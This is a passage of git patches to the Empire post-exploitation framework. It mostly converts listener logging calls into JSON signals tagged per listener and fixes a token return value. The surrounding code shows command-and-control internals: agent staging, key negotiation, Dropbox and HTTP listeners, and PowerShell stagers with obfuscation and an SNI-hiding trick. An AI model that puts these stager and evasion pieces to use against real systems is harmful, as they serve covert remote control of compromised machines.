session_id=sessionID, + client_ip=clientIP + ) + + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") # get the appropriate response from the agent handler (code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource) @@ -122,7 +133,17 @@ def do_POST(self): name, sessionID = part.split("=", 1) # fire off an event for this POST (for logging) - dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") + message = "[*] Post to {resource} from {session_id} at {client_ip}".format( + resource=resource, + session_id=sessionID, + client_ip=clientIP + ) + + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") # read in the length of the POST data if self.headers.getheader('content-length'): @@ -138,12 +159,12 @@ def do_POST(self): self.wfile.write(responsedata) self.wfile.flush() # self.wfile.close() # causes an error with HTTP comms - + # supress all the stupid default stdout/stderr output def log_message(*arg): pass - + class EmpireServer(threading.Thread): """ Version of a simple HTTP[S] Server with specifiable port and @@ -162,7 +183,7 @@ def __init__(self, handler, lhost='0.0.0.0', port=80, cert=''): self.server = None self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler) - + # pass the agent handler object along for the RequestHandler self.server.agents = handler @@ -176,14 +197,25 @@ def __init__(self, handler, lhost='0.0.0.0', port=80, cert=''): self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True) - dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmpireServer") + message = "[*] Initializing HTTPS server on {port}".format(port=port) else: - dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmpireServer") + message = "[*] Initializing HTTP server on {port}".format(port=port) + + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") except Exception as e: self.success = False # shoot off an error if the listener doesn't stand up - dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmpireServer") + message = "[!] Error starting listener on port {}: {}".format(port, e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") def base_server(self): diff --git a/lib/common/packets.py b/lib/common/packets.py index 7548793b8..476d9d9b2 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -13,11 +13,11 @@ Routing Packet: +---------+-------------------+--------------------------+ - | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ - + RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | @@ -44,12 +44,12 @@ +------+--------+--------------------+--------------------+-----------+ | 2 | 4 | 2 | 2 | 2 | | +------+--------+--------------------+----------+---------+-----------+ - + type = packet type total # of packets = number of total packets in the transmission Packet # = where the packet fits in the transmission Task ID = links the tasking to results for deconflict on server side - + Client *_SAVE packets have the sub format: @@ -64,6 +64,7 @@ import os import hashlib import hmac +import json from pydispatch import dispatcher # Empire imports @@ -204,7 +205,13 @@ def parse_result_packet(packet, offset=0): remainingData = packet[12+offset+length:] return (PACKET_IDS[responseID], totalPacket, packetNum, taskID, length, data, remainingData) except Exception as e: - dispatcher.send("[*] parse_result_packet(): exception: %s" % (e), sender='Packets') + message = "[!] parse_result_packet(): exception: {}".format(e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") + return (None, None, None, None, None, None, None) @@ -244,11 +251,11 @@ def parse_routing_packet(stagingKey, data): Routing packet format: +---------+-------------------+--------------------------+ - | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ - + RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | @@ -278,7 +285,12 @@ def parse_routing_packet(stagingKey, data): # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) if length < 0: - dispatcher.send('[*] parse_agent_data(): length in decoded rc4 packet is < 0', sender='Packets') + message = "[*] parse_agent_data(): length in decoded rc4 packet is < 0" + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") encData = None else: encData = data[(20+offset):(20+offset+length)] @@ -295,11 +307,21 @@ def parse_routing_packet(stagingKey, data): return results else: - dispatcher.send("[*] parse_agent_data() data length incorrect: %s" % (len(data)), sender='Packets') + message = "[*] parse_agent_data() data length incorrect: {}".format(len(data)) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") return None else: - dispatcher.send("[*] parse_agent_data() data is None", sender='Packets') + message = "[*] parse_agent_data() data is None" + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") return None @@ -312,11 +334,11 @@ def build_routing_packet(stagingKey, sessionID, language, meta="NONE", additiona Routing Packet: +---------+-------------------+--------------------------+ - | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ - + RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index d9be38ae6..ab6f30ab1 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -3,6 +3,7 @@ import os import time import copy +import json import dropbox # from dropbox.exceptions import ApiError, AuthError # from dropbox.files import FileMetadata, FolderMetadata, CreateFolderError @@ -801,7 +802,14 @@ def download_file(dbx, path): try: md, res = dbx.files_download(path) except dropbox.exceptions.HttpError as err: - dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error downloading data from '{}' : {}".format(path, err) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) + return None return res.content @@ -810,14 +818,26 @@ def upload_file(dbx, path, data): try: dbx.files_upload(data, path) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error uploading data to '{}'".format(path) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) def delete_file(dbx, path): # helper to delete a file at the given path try: dbx.files_delete(path) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error deleting data at '{}'".format(path) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) # make a copy of the currently set listener options for later stager/agent generation @@ -845,15 +865,33 @@ def delete_file(dbx, path): try: dbx.files_create_folder(stagingFolder) except dropbox.exceptions.ApiError: - dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[*] Dropbox folder '{}' already exists".format(stagingFolder) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) try: dbx.files_create_folder(taskingsFolder) except dropbox.exceptions.ApiError: - dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[*] Dropbox folder '{}' already exists".format(taskingsFolder) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) try: dbx.files_create_folder(resultsFolder) except dropbox.exceptions.ApiError: - dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[*] Dropbox folder '{}' already exists".format(resultsFolder) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) # upload the stager.ps1 code stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell') @@ -884,7 +922,13 @@ def delete_file(dbx, path): try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: - dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error downloading data from '{}' : {}".format(fileName, err) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) continue stageData = res.content @@ -895,19 +939,43 @@ def delete_file(dbx, path): try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error deleting data at '{}'".format(fileName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) try: stageName = "%s/%s_2.txt" % (stagingFolder, sessionID) - dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx') + listenerName = self.options['Name']['Value'] + message = "[*] Uploading key negotiation part 2 to {} for {}".format(stageName, sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) dbx.files_upload(results, stageName) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error uploading data to '{}'".format(stageName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) if stage == '3': try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: - dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error downloading data from '{}' : {}".format(fileName, err) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) continue stageData = res.content @@ -917,18 +985,36 @@ def delete_file(dbx, path): for (language, results) in dataResults: if results.startswith('STAGE2'): sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] - dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx') + listenerName = self.options['Name']['Value'] + message = "[*] Sending agent (stage 2) to {} through Dropbox".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error deleting data at '{}'".format(fileName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) try: fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID)) dbx.files_delete(fileName2) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error deleting data at '{}'".format(fileName2) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) @@ -936,10 +1022,22 @@ def delete_file(dbx, path): try: stageName = "%s/%s_4.txt" % (stagingFolder, sessionID) - dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx') + listenerName = self.options['Name']['Value'] + message = "[*] Uploading key negotiation part 4 (agent) to {} for {}".format(stageName, sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) dbx.files_upload(returnResults, stageName) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error uploading data to '{}'".format(stageName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) # get any taskings applicable for agents linked to this listener @@ -961,22 +1059,47 @@ def delete_file(dbx, path): if existingData: taskingData = taskingData + existingData - dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx') + listenerName = self.options['Name']['Value'] + message = "[*] Uploading agent tasks for {} to {}".format(sessionID, taskingFile) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) + dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite) except dropbox.exceptions.ApiError as e: - dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error uploading agent tasks for {} to {} : {}".format(sessionID, taskingFile, e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) # check for any results returned for match in dbx.files_search(resultsFolder, "*.txt").matches: fileName = str(match.metadata.path_display) sessionID = fileName.split('/')[-1][:-4] - dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[*] Downloading data for '{}' from {}".format(sessionID, fileName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: - dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error download data from '{}' : {}".format(fileName, err) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) continue responseData = res.content @@ -984,7 +1107,13 @@ def delete_file(dbx, path): try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: - dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") + listenerName = self.options['Name']['Value'] + message = "[!] Error deleting data at '{}'".format(fileName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index be8f57767..f07ed4c0e 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -6,6 +6,7 @@ import ssl import time import copy +import json import sys from pydispatch import dispatcher from flask import Flask, request, make_response, send_from_directory @@ -909,7 +910,13 @@ def check_ip(): Before every request, check if the IP address is allowed. """ if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): - dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http") + listenerName = self.options['Name']['Value'] + message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) return make_response(self.default_response(), 404) @@ -956,9 +963,16 @@ def handle_get(request_uri): This is used during the first step of the staging process, and when the agent requests taskings. """ - clientIP = request.remote_addr - dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http') + + listenerName = self.options['Name']['Value'] + message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) + routingPacket = None cookie = request.headers.get('Cookie') if cookie and cookie != '': @@ -966,7 +980,13 @@ def handle_get(request_uri): # see if we can extract the 'routing packet' from the specified cookie location # NOTE: this can be easily moved to a paramter, another cookie value, etc. if 'session' in cookie: - dispatcher.send("[*] GET cookie value from %s : %s" % (clientIP, cookie), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[*] GET cookie value from {} : {}".format(clientIP, cookie) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) cookieParts = cookie.split(';') for part in cookieParts: if part.startswith('session'): @@ -987,12 +1007,24 @@ def handle_get(request_uri): # handle_agent_data() signals that the listener should return the stager.ps1 code # step 2 of negotiation -> return stager.ps1 (stage 1) - dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[*] Sending {} stager (stage 1) to {}".format(language, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) return make_response(stage, 200) elif results.startswith('ERROR:'): - dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) if 'not in cache' in results: # signal the client to restage @@ -1003,7 +1035,13 @@ def handle_get(request_uri): else: # actual taskings - dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[*] Agent from %s retrieved taskings".format(clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) return make_response(results, 200) else: # dispatcher.send("[!] Results are None...", sender='listeners/http') @@ -1012,7 +1050,13 @@ def handle_get(request_uri): return make_response(self.default_response(), 200) else: - dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[!] {} requested by {} with no routing packet.".format(request_uri, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) return make_response(self.default_response(), 200) @app.route('/', methods=['POST']) @@ -1025,7 +1069,14 @@ def handle_post(request_uri): clientIP = request.remote_addr requestData = request.get_data() - dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http') + + listenerName = self.options['Name']['Value'] + message = "[*] POST request data length from {} : {}".format(clientIP, len(requestData)) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) # the routing packet should be at the front of the binary request.data # NOTE: this can also go into a cookie/etc. @@ -1039,7 +1090,14 @@ def handle_post(request_uri): clientIP = '[' + str(clientIP) + ']' sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] - dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') + + listenerName = self.options['Name']['Value'] + message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) hopListenerName = request.headers.get('Hop-Name') try: @@ -1057,10 +1115,22 @@ def handle_post(request_uri): return make_response(encryptedAgent, 200) elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): - dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[!] Error returned for results by {} : {}".format(clientIP, results) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) return make_response(self.default_response(), 404) elif results == 'VALID': - dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[*] Valid results return by {}".format(clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) return make_response(self.default_response(), 404) else: return make_response(results, 200) @@ -1093,7 +1163,13 @@ def handle_post(request_uri): except Exception as e: print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)) - dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http') + listenerName = self.options['Name']['Value'] + message = "[!] Listener startup on port {} failed: {}".format(port, e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) def start(self, name=''): """ diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 0db86ca84..9455ac15d 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -5,6 +5,7 @@ import ssl import time import copy +import json import sys from pydispatch import dispatcher from flask import Flask, request, make_response @@ -234,7 +235,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: - host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) + host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") @@ -259,7 +260,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] - + if headerKey.lower() == "host": modifyHost = True @@ -270,7 +271,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};") - + stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" @@ -311,7 +312,7 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] - + # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) @@ -438,7 +439,7 @@ def generate_comms(self, listenerOptions, language=None): if language: if language.lower() == 'powershell': - + updateServers = """ $Script:ControlServers = @("%s"); $Script:ServerIndex = 0; @@ -453,7 +454,7 @@ def generate_comms(self, listenerOptions, language=None): } """ % (listenerOptions['Host']['Value']) - + getTask = """ function script:Get-Task { try { @@ -507,7 +508,7 @@ def generate_comms(self, listenerOptions, language=None): $Headers = "" $script:Headers.GetEnumerator()| %{ $Headers += "`r`n$($_.Name): $($_.Value)" } $Headers.TrimStart("`r`n") - + try { # choose a random valid URI for checkin $taskURI = $script:TaskURIs | Get-Random @@ -562,7 +563,13 @@ def check_ip(): Before every request, check if the IP address is allowed. """ if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): - dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com") + listenerName = self.options['Name']['Value'] + message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) return make_response(self.default_response(), 200) @@ -590,9 +597,16 @@ def handle_get(request_uri): This is used during the first step of the staging process, and when the agent requests taskings. """ - clientIP = request.remote_addr - dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http_com') + + listenerName = self.options['Name']['Value'] + message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) + routingPacket = None reqHeader = request.headers.get(listenerOptions['RequestHeader']['Value']) if reqHeader and reqHeader != '': @@ -612,12 +626,24 @@ def handle_get(request_uri): # handle_agent_data() signals that the listener should return the stager.ps1 code # step 2 of negotiation -> return stager.ps1 (stage 1) - dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[*] Sending {} stager (stage 1) to {}".format(language, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) return make_response(base64.b64encode(stage), 200) elif results.startswith('ERROR:'): - dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) if 'not in cache' in results: # signal the client to restage @@ -628,7 +654,13 @@ def handle_get(request_uri): else: # actual taskings - dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[*] Agent from {} retrieved taskings".format(clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) return make_response(base64.b64encode(results), 200) else: # dispatcher.send("[!] Results are None...", sender='listeners/http_com') @@ -637,7 +669,13 @@ def handle_get(request_uri): return make_response(self.default_response(), 200) else: - dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[!] {} requested by {} with no routing packet.".format(request_uri, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) return make_response(self.default_response(), 200) @@ -665,7 +703,14 @@ def handle_post(request_uri): # TODO: document the exact results structure returned sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] - dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http_com') + + listenerName = self.options['Name']['Value'] + message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) @@ -675,10 +720,22 @@ def handle_post(request_uri): return make_response(base64.b64encode(encrypted_agent), 200) elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): - dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[!] Error returned for results by {} : {}".format(clientIP, results) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) return make_response(self.default_response(), 200) elif results == 'VALID': - dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[*] Valid results return by {}".format(clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) return make_response(self.default_response(), 200) else: return make_response(base64.b64encode(results), 200) @@ -709,8 +766,13 @@ def handle_post(request_uri): app.run(host=bindIP, port=int(port), threaded=True) except Exception as e: - print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)) - dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http_com') + listenerName = self.options['Name']['Value'] + message = "[!] Listener startup on port {} failed: {}".format(port, e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName)) def start(self, name=''): From a9986dcdac63b9d05e70795fa3adaf21e5ef3503 Mon Sep 17 00:00:00 2001 From: jrobles-r7 Date: Thu, 18 Jan 2018 21:36:54 -0600 Subject: [PATCH 029/136] Fixed Return Value Fixed the return value for a condition that may not happen... --- empire | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/empire b/empire index 3809bcb4f..da06b3e98 100755 --- a/empire +++ b/empire @@ -87,11 +87,12 @@ def get_permanent_token(conn): """ permanentToken = execute_db_query(conn, "SELECT api_permanent_token FROM config")[0] - if not permanentToken[0]: + permanentToken = permanentToken[0] + if not permanentToken: permanentToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40)) execute_db_query(conn, "UPDATE config SET api_permanent_token=?", [permanentToken]) - return permanentToken[0] + return permanentToken #################################################################### From 9e8e32b2e6a18277ca35005a6d839bfa388e0da8 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Thu, 18 Jan 2018 23:10:40 -0700 Subject: [PATCH 030/136] remove agent-specific dispatch listeners --- lib/common/empire.py | 49 ++++++++++++-------------------------------- 1 file changed, 13 insertions(+), 36 deletions(-) diff --git 